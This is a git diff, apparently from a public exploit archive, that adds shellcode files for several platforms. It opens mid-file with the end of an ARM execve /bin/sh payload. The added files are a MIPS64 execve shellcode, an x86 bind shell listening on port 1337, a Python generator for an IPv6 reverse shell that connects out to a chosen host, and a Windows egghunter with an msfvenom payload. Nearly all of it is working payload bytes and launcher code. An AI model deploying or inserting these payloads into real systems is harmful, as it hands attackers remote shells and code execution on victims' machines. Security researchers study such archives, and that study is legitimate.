bx r3 + + .THUMB + // execve("/bin/sh", ["/bin/sh"], NULL) + adr r0, spawn + eor r2, r2, r2 + strb r2, [r0, #7] + push {r0, r2} + mov r1, sp + mov r7, #11 + svc #1 + + // adjust address + eor r7, r7, r7 + +spawn: +.ascii "/bin/shA" + +pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o +pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin +pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin +\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x7f\x40\x2f\x62\x69\x6e\x2f\x73\x68\x41 + +*/ + +#include +#include + +unsigned char sc[] = \ +"\x01\x30\x8f\xe2\x13\xff\x2f\xe1" +"\x03\xa0\x52\x40\xc2\x71\x05\xb4" +"\x69\x46\x0b\x27\x01\xdf\x7f\x40" +"\x2f\x62\x69\x6e\x2f\x73\x68\x41"; + +void main() +{ + printf("Shellcode Length: %d\n", strlen(sc)); + + int (*ret)() = (int(*)())sc; + + ret(); +} \ No newline at end of file diff --git a/shellcodes/linux_mips/45287.c b/shellcodes/linux_mips/45287.c new file mode 100644 index 000000000..48b28f163 --- /dev/null +++ b/shellcodes/linux_mips/45287.c @@ -0,0 +1,56 @@ +/* Title: Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes) + * Date: 2018-08-10 + * Author: Antonio + * + * [*] execve(/bin/sh) shellcode for MIPS64 + * [*] tested on MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta + * [*] 48 bytes + * + * gcc -fno-stack-protector -z execstack main.c -o main -g + * + * adp, SLAE - 1326, 2018. + */ + +#include +#include + +/* +.text + .global __start +__start: + dli $t0,0x69622f2f + sw $t0,-12($sp) + dli $t1,0x68732f6e + sw $t1,-8($sp) + sw $zero,-4($sp) + daddiu $a0,$sp,-12 + slti $a1,$zero,-1 + slti $a2,$zero,-1 + dli $v0, 5057 + syscall 0x40404 +.align 8 +*/ + +unsigned char shellcode[] = + "\x62\x69\x0c\x3c" + "\x2f\x2f\x8c\x35" + "\xf4\xff\xac\xaf" + "\x73\x68\x0d\x3c" + "\x6e\x2f\xad\x35" + "\xf8\xff\xad\xaf" + "\xfc\xff\xa0\xaf" + "\xf4\xff\xa4\x67" + "\xff\xff\x05\x28" + "\xff\xff\x06\x28" + "\xc1\x13\x02\x24" + "\x0c\x01\x01\x01"; + +int main(int argc, char ** argv) +{ + void (*s) (void); + + printf("Shellshellcode Length: %d\n", strlen(shellcode)); + + s = shellcode; + s(); +} \ No newline at end of file diff --git a/shellcodes/linux_x86/45291.c b/shellcodes/linux_x86/45291.c new file mode 100644 index 000000000..f2f304308 --- /dev/null +++ b/shellcodes/linux_x86/45291.c @@ -0,0 +1,178 @@ +/* +# Exploit Title: Linux x86 Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode +# Date: 2018-08-18 +# Shellcode Author: Kevin Kirsche +# Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_1-bind_shell +# Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connected from Kali 2018.2 + +# This shellcode will listen on port 1337 on all of the host's IPv4 and IPv6 addresses and give you /bin/sh + +This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: +http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ +Student ID: SLAE-1134 + +Compilation instructions: + gcc -o shellcode shellcode.c -fno-stack-protector -z execstack + +Commented NASM: +global _start + +section .text + +_start: + ; socket + ;; cleanup + xor ebx, ebx + ;; arguments + push ebx ; #define IP_PROTO 0 + push 0x1 ; #define SOCK_STREAM 1 + push 0xa ; #define PF_INET6 10 + ;; function + mov ecx, esp ; pointer to args on the stack into ecx + push 0x66 + pop eax ; socketcall 0x66 == 102 + inc ebx ; #define SYS_SOCKET 1 + ;; call + int 0x80 + ;; returned data + xchg esi, eax ; sockfd eax -> esi + + ; setsocketopt + ;; cleanup + xor eax, eax + ;; arguments + push eax ; NO = 0x0 + mov edx, esp ; get a pointer to the null value + push 0x2 ; sizeof(NO) + push edx ; pointer to NO + push 0x1a ; #define IPV6_V6ONLY 26 + push 0x29 ; #define IPPROTO_IPV6 + ;; function + mov ecx, esp ; pointer to args on the stack into ecx + mov al, 0x66 ; socketcall 0x66 == 102 + mov bl, 0xe ; #define SYS_SETSOCKOPT 14 + ;; call + int 0x80 + + ; bind ipv4 + ;; cleanup + xor edx, edx + ;; v4lhost struct + push edx ; #define INADDR_ANY 0 + push word 0x3905 ; port 1337 in big endian format + push 0x2 ; #define AF_INET 2 + ;; arguments + mov ecx, esp ; pointer to v4lhost struct arguments + push 0x10 ; sizeof v4lhost + push ecx ; pointer v4lhost + push esi ; push sockfd onto stack + ;; function + mov ecx, esp ; argument pointer into ecx + mov bl, 0x2 ; #define SYS_BIND 2 + mov al, 0x66 ; socketcall 0x66 == 102 + ;; call + int 0x80 + + ; bind ipv6 + ;; cleanup + xor eax, eax + ;; v6lhost struct + push dword eax ; v6_host.sin6_addr + push dword eax + push dword eax + push dword eax + push dword eax + push word 0x3905 ; port 1337 + push word 0x0a ; PF_INET6 + ;; arguments + mov ecx, esp ; pointer to struct into ecx + push 0x1c ; sizeof struct + push ecx ; pointer to struct + push esi ; sockfd + ;; function + mov ecx, esp ; arguments into register + mov bl, 0x2 ; #define SYS_BIND 2 + mov al, 0x66 ; socketcall 0x66 == 102 + ;; call + int 0x80 + + ; listen + ;; arguments + push byte 0x2 ; queuelimit = 2 + push esi ; sockfd + ;; function + mov ecx, esp ; pointer to args into ecx + mov bl, 0x4 ; #define SYS_LISTEN 4 + mov al, 0x66 ; socketcall 0x66 == 102 + ;; call + int 0x80 + + ; accept + ;; cleanup + xor ebx, ebx + ;;arguments + push ebx ; push NULL + push ebx ; push NULL + push esi ; sockfd + ;; function + mov ecx, esp ; pointer to args into ecx + mov bl, 0x5 ; #define SYS_ACCEPT 5 + mov al, 0x66 ; socketcall 0x66 == 102 + ;; call + int 0x80 + ;; returned data + xchg ebx, eax ; ebx holds the new sockfd that we accepted + + ; dup file descriptor + ;; setup counters + sub ecx, ecx ; zero out ecx + mov cl, 0x2 ; create a counter + ;; loop +duploop: + mov al, 0x3f ; SYS_DUP2 syscall + int 0x80 ; call SYS_DUP2 + dec ecx ; decrement loop counter + jns duploop ; as long as SF is not set, keep looping + + ; execve + ;; cleanup + xor edx, edx + ;; command to run + push edx ; NULL string terminator + push 0x68732f2f ; hs// + push 0x6e69622f ; nib/ + ;; arguments + mov ebx, esp ; pointer to args into ebx + push edx ; null ARGV + push ebx ; command to run + ;; function + mov ecx, esp + mov al, 0x0b ; execve systemcall + int 0x80 +*/ +#include +#include + +unsigned char code[] = "\x31\xdb\x53\x6a\x01\x6a\x0a\x89\xe1\x6a\x66\x58\x43" + "\xcd\x80\x96\x31\xc0\x50\x89\xe2\x6a\x02\x52\x6a\x1a\x6a\x29\x89\xe1\xb0" + "\x66\xb3\x0e\xcd\x80\x31\xd2\x52\x66\x68\x05\x39\x6a\x02\x89\xe1\x6a\x10" + "\x51\x56\x89\xe1\xb3\x02\xb0\x66\xcd\x80\x31\xc0\x50\x50\x50\x50\x50\x66" + "\x68\x05\x39\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\xb3\x02\xb0\x66" + "\xcd\x80\x6a\x02\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56" + "\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x93\x29\xc9\xb1\x02\xb0\x3f\xcd\x80\x49" + "\x79\xf9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" + "\x53\x89\xe1\xb0\x0b\xcd\x80"; + + +int main() { + // pollute the registers + asm("mov $0x78975432, %eax\n\t" + "mov $0x17645589, %ecx\n\t" + "mov $0x23149875, %edx\n\t"); + + // begin shellcode + printf("Shellcode Length: %d\n", strlen(code)); + // execute our shellcode + int (*ret)() = (int(*)())code; + ret(); +} \ No newline at end of file diff --git a/shellcodes/linux_x86/45292.py b/shellcodes/linux_x86/45292.py new file mode 100755 index 000000000..477300075 --- /dev/null +++ b/shellcodes/linux_x86/45292.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python3 +# Exploit Title: Linux x86 IPv6 Reverse TCP Shellcode Generator (94 bytes) +# Date: 2018-08-26 +# Shellcode Author: Kevin Kirsche +# Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_2-reverse_shell +# Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connecting to Kali 2018.2 + +# This shellcode will connect to fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509 on port 1337 and give you /bin/sh + +#This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: +#http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ +#Student ID: SLAE-1134 + +from argparse import ArgumentParser +from ipaddress import ip_address +import sys + +sc = ("\\x31\\xdb\\x53\\x43\\x53\\x6a\\x0a\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80" + "\\x96\\x99\\x52\\x68{ipv6_fourth_octet}\\x68{ipv6_third_octet}\\x68" + "{ipv6_second_octet}\\x68{ipv6_first_octet}\\x52\\x66\\x68{port}" + "\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x43\\x6a" + "\\x66\\x58\\xcd\\x80\\x87\\xde\\x29\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80" + "\\x49\\x79\\xf9\\x31\\xd2\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62" + "\\x69\\x6e\\x89\\xd1\\x89\\xe3\\xb0\\x0b\\xcd\\x80") + +if __name__ == '__main__': + parser = ArgumentParser(description=("Dual Network Stack Bind Shell " + "Generator")) + parser.add_argument('ip_address', type=str, nargs='?', default='fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509', + help='The IP address to connect to (default fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509)') + parser.add_argument('port', type=int, nargs='?', default=1337, + help='The port to connect to (default 1337)') + args = parser.parse_args() + + ip = ip_address(args.ip_address) + ip_hex = ip.exploded + + if args.port < 1 or args.port > 65535: + print('Invalid port. Please select a port between 1 and 65535') + sys.exit(1) + + port = format(args.port, '04x') + port = "\\x{b}\\x{a}".format( + a=port[2:4], + b=port[0:2]) + + split_hex_ip = ip_hex.split(':') + ipv6_fourth_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( + d=split_hex_ip[6][0:2], + c=split_hex_ip[6][2:4], + b=split_hex_ip[7][0:2], + a=split_hex_ip[7][2:4]) + ipv6_third_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( + d=split_hex_ip[4][0:2], + c=split_hex_ip[4][2:4], + b=split_hex_ip[5][0:2], + a=split_hex_ip[5][2:4]) + ipv6_second_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( + d=split_hex_ip[2][0:2], + c=split_hex_ip[2][2:4], + b=split_hex_ip[3][0:2], + a=split_hex_ip[3][2:4]) + ipv6_first_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( + d=split_hex_ip[0][0:2], + c=split_hex_ip[0][2:4], + b=split_hex_ip[1][0:2], + a=split_hex_ip[1][2:4]) + + if '\\x00' in port: + print('[!] Warning: The port you chose contains a null value.') + if (('\\x00' in ipv6_fourth_octet) or ('\\x00' in ipv6_third_octet) or + ('\\x00' in ipv6_second_octet) or ('\\x00' in ipv6_first_octet)): + print('[!] Warning: The IP address you chose contains a null value.') + + print('Shellcode:') + print(sc.format( + ipv6_first_octet=str(ipv6_first_octet), + ipv6_second_octet=str(ipv6_second_octet), + ipv6_third_octet=str(ipv6_third_octet), + ipv6_fourth_octet=str(ipv6_fourth_octet), + port=str(port))) \ No newline at end of file diff --git a/shellcodes/windows_x86-64/45293.c b/shellcodes/windows_x86-64/45293.c new file mode 100644 index 000000000..6fe1e32f6 --- /dev/null +++ b/shellcodes/windows_x86-64/45293.c @@ -0,0 +1,88 @@ +#include +#include +#include +#include +using namespace std; + +/* + +Title: WoW64Egghunter for Windows 10 (32bit apps on 64bit Windows 10) +Size: 50 bytes +Date: 26/08/2018 +Author: n30m1nd - https://www.exploit-db.com/author/?a=8766 +Works in: 32 bit processes on a 64 bit Windows 10 OS +How to: Compile under Visual Studio and run + +Credit where credit is due: +- https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/ +- https://j00ru.vexillium.org/syscalls/nt/64/ +- https://www.exploit-db.com/exploits/41827/ +- https://web.archive.org/web/20101215052055/http://vx.netlux.org/lib/vrg02.html + +Shouts out to the Plakkers! + +// Assembly + +0: 8c cb mov ebx,cs +2: 80 fb 23 cmp bl,0x23 +5: 33 d2 xor edx,edx +7: 66 81 ca ff 0f or dx,0xfff +c: 33 db xor ebx,ebx +e: 42 inc edx +f: 52 push edx +10: 53 push ebx +11: 53 push ebx +12: 53 push ebx +13: 6a 29 push 0x29 +15: 58 pop eax +16: b3 c0 mov bl,0xc0 ; Heaven's gate +18: 64 ff 13 call DWORD PTR fs:[ebx] +1b: 83 c4 0c add esp,0xc +1e: 5a pop edx +1f: 3c 05 cmp al,0x5 +21: 74 e4 je 0x7 +23: b8 77 30 30 74 mov eax,0x74303077 +28: 89 d7 mov edi,edx +2a: af scas eax,DWORD PTR es:[edi] +2b: 75 e1 jne 0xe +2d: af scas eax,DWORD PTR es:[edi] +2e: 75 de jne 0xe +30: ff e7 jmp edi +*/ + +char n30m1ndhunter[] = +"\x8C\xCB\x80\xFB\x23\x33\xD2\x66\x81\xCA\xFF\x0F" +"\x33\xDB\x42\x52\x53\x53\x53\x6A\x29\x58\xB3\xC0" +"\x64\xFF\x13\x83\xC4\x0C\x5A\x3C\x05\x74\xE4\xB8" +"\x77\x30\x30\x74\x89\xD7\xAF\x75\xE1\xAF\x75\xDE" +"\xFF\xE7"; + +// msfvenom -p windows/exec cmd=calc.exe -f c +char scode[] = "w00tw00t" // Eggu +"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" +"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" +"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" +"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" +"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" +"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" +"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" +"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" +"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" +"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + +int main(int argc, char **argv) +{ + // Place the eggu (w00tw00t) in memory and make the shellcode executable + void *eggfind = VirtualAlloc(0, sizeof scode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(eggfind, scode, sizeof scode); + + // Place the egghunter shellcode in memory and ... + void *exec = VirtualAlloc(0, sizeof n30m1ndhunter, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(exec, n30m1ndhunter, sizeof n30m1ndhunter); + + // ... jump to it + ((void(*)())exec)(); +} \ No newline at end of file